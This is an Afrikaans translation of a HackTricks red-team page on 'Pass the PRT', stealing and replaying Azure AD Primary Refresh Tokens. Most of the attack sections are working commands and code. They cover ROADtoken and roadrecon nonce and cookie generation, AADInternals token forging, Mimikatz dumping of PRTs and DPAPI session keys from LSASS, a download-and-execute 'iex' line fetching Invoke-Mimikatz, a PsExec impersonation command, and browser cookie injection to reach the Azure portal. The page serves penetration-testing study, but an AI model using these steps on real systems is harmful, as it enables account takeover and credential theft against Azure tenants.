Az - Pass the PRT

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Wat is 'n PRT

Kontroleer of jy 'n PRT het

Dsregcmd.exe /status

In die SSO-staatseksie moet jy sien dat die AzureAdPrt ingestel is op JA.

In dieselfde uitset kan jy ook sien of die toestel aan Azure gekoppel is (in die veld AzureAdJoined):

PRT Koekie

Die PRT-koekie word eintlik genoem x-ms-RefreshTokenCredential en dit is 'n JSON Web Token (JWT). 'n JWT bevat 3 dele, die kop, inhoud en handtekening, verdeel deur 'n . en almal url-veilig base64 gekodeer. 'n Tipiese PRT-koekie bevat die volgende kop en liggaam:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Die werklike Primêre Verfris Toekenning (PRT) is ingesluit binne die refresh_token, wat deur 'n sleutel onder beheer van Azure AD versleutel word, wat die inhoud onduidelik en ontsleutelbaar vir ons maak. Die veld is_primary dui op die insluiting van die primêre verfris toekenning binne hierdie toekenning. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die request_nonce vanaf die logon.microsoftonline.com-bladsy gestuur.

PRT Koekie vloei met TPM

Die LSASS-proses sal die KDF konteks na die TPM stuur, en die TPM sal die sessiesleutel (versamel toe die toestel in AzureAD geregistreer is en in die TPM gestoor word) en die vorige konteks gebruik om 'n sleutel af te lei, en hierdie afgeleide sleutel word gebruik om die PRT-koekie (JWT) te teken.

Die KDF konteks is 'n eenmalige kode van AzureAD en die PRT wat 'n JWT skep wat gemeng is met 'n konteks (willekeurige bytes).

Daarom, selfs al kan die PTR nie geëkstraheer word omdat dit binne die TPM geleë is nie, is dit moontlik om LSASS te misbruik om afgeleide sleutels van nuwe kontekste aan te vra en die gegenereerde sleutels te gebruik om Koekies te teken.

PRT Misbruik Scenarios

As 'n gewone gebruiker is dit moontlik om PRT-gebruik aan te vra deur LSASS vir SSO-data te vra. Dit kan gedoen word soos inheemse programme wat toekennings van Web Rekeningbestuurder (toekenningsmakelaar) aanvra. WAM stuur die versoek na LSASS, wat vir toekennings vra deur 'n ondertekende PRT-aanspraak. Of dit kan gedoen word met blaaier-gebaseerde (web) vloeie waar 'n PRT-koekie as kop gebruik word om versoek aan te meld by Azure AS-aanmeldbladsye.

As SYSTEM kan jy die PRT steel as dit nie deur TPM beskerm word nie of met PRT-sleutels in LSASS interaksie hê deur kripto-API's te gebruik.

PRT Aanval Voorbeelde

Aanval - ROADtoken

Vir meer inligting oor hierdie metode kyk na hierdie pos. ROADtoken sal BrowserCore.exe van die regte gids laat loop en dit gebruik om 'n PRT-koekie te verkry. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n volgehoue verfris toekenning te verkry.

Om 'n geldige PRT-koekie te genereer, is die eerste ding wat jy nodig het 'n eenmalige kode. Jy kan dit kry met:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Of deur roadrecon:

roadrecon auth prt-init

Dan kan jy roadtoken gebruik om 'n nuwe PRT te kry (hardloop die instrument van 'n proses van die gebruiker om aan te val):

.\ROADtoken.exe <nonce>
Pas die PRT aanval
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Dan kan jy die geskepte koekie gebruik om tokkies te genereer om in te teken met behulp van Azure AD Graph of Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Aanval - Gebruik van roadrecon

Aanval - Gebruik van AADInternals en 'n uitgelekde PTR

Get-AADIntUserPRTToken kry die gebruiker se PRT-token van die Azure AD-aangeslote of hibried-aangeslote rekenaar. Gebruik BrowserCore.exe om die PRT-token te kry.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Of as jy die waardes van Mimikatz het, kan jy ook AADInternals gebruik om 'n token te genereer:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Gaan na https://login.microsoftonline.com, skakel alle koekies vir login.microsoftonline.com uit en voer 'n nuwe koekie in.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Dan gaan na https://portal.azure.com

Die res moet die verstekwaardes wees. Maak seker dat jy die bladsy kan verfris en dat die koekie nie verdwyn nie, as dit wel gebeur het jy dalk 'n fout gemaak en moet jy die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.

Aanval - Mimikatz

Stappe

  1. Die PRT (Primêre Verfris Koekie) word onttrek uit LSASS (Local Security Authority Subsystem Service) en gestoor vir latere gebruik.

  2. Die Sessiesleutel word daarna onttrek. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel herversleutel word, vereis dit ontsleuteling met behulp van 'n DPAPI-meestersleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan gevind word in hierdie bronne: HackTricks en vir 'n begrip van sy toepassing, verwys na Pass-the-cookie aanval.

  3. Na ontsleuteling van die Sessiesleutel word die afgeleide sleutel en konteks vir die PRT verkry. Hierdie is noodsaaklik vir die skepping van die PRT-koekie. Spesifiek word die afgeleide sleutel gebruik om die JWT (JSON Web Token) te onderteken wat die koekie uitmaak. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, toeganklik hier.

Let daarop dat as die PRT binne die TPM is en nie binne lsass nie, sal mimikatz nie in staat wees om dit te onttrek nie. Dit sal egter moontlik wees om 'n sleutel van 'n afgeleide sleutel van 'n konteks van die TPM te kry en dit te gebruik om 'n koekie te teken (kontroleer opsie 3).

Jy kan 'n diepgaande verduideliking van die uitgevoerde proses om hierdie besonderhede te onttrek hier vind: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Dit sal nie presies werk nie na die Augustus 2021-herstelwerk om ander gebruikers se PRT-koekies te kry nie, aangesien slegs die gebruiker sy PRT kan kry ( 'n plaaslike administrateur kan nie ander gebruikers se PRT's kry nie), maar kan syne kry.

Jy kan mimikatz gebruik om die PRT te onttrek:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Kopieer die gedeelte wat as Prt gemerk is en stoor dit. Ekstraeer ook die sessiesleutel (die KeyValue van die ProofOfPossesionKey veld) wat jy hieronder gemerk kan sien. Dit is versleutel en ons sal ons DPAPI meesterkodes moet gebruik om dit te ontsluit.

As jy geen PRT-data sien nie, kan dit wees dat jy geen PRTs het omdat jou toestel nie by Azure AD aangesluit is nie, of dit kan wees dat jy 'n oud weergawe van Windows 10 gebruik.

Om die sessiesleutel te ontsleutel, moet jy jou regte verhoog na SYSTEM om onder die rekenaar konteks te hardloop sodat jy die DPAPI meesterkodes kan gebruik om dit te ontsluit. Jy kan die volgende bevele gebruik om dit te doen:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opsie 1 - Volledige Mimikatz

  • Nou wil jy beide die Konteks waarde kopieer:

  • En die afgeleide sleutel waarde:

  • Uiteindelik kan jy al hierdie inligting gebruik om PRT-koekies te genereer:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Die res moet die verstekwaardes wees. Maak seker dat jy die bladsy kan verfris en dat die koekie nie verdwyn nie, as dit wel gebeur het jy moontlik 'n fout gemaak en moet jy deur die proses gaan. As dit nie gebeur nie, behoort jy reg te wees.

Opsie 2 - roadrecon deur gebruik van PTR

  • Vernuweer die PRT eerste, wat dit in roadtx.prt sal stoor:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Nou kan ons versoeke tokens gebruik met die interaktiewe webblaaier met roadtx browserprtauth. As ons die roadtx describe bevel gebruik, sien ons dat die toegangstoken 'n MFA-eis insluit omdat die PRT wat ek in hierdie geval gebruik het, ook 'n MFA-eis gehad het.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opsie 3 - roadrecon gebruik van afgeleide sleutels

Met die konteks en die afgeleide sleutel wat deur mimikatz gedump is, is dit moontlik om roadrecon te gebruik om 'n nuwe ondertekende koekie te genereer met:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated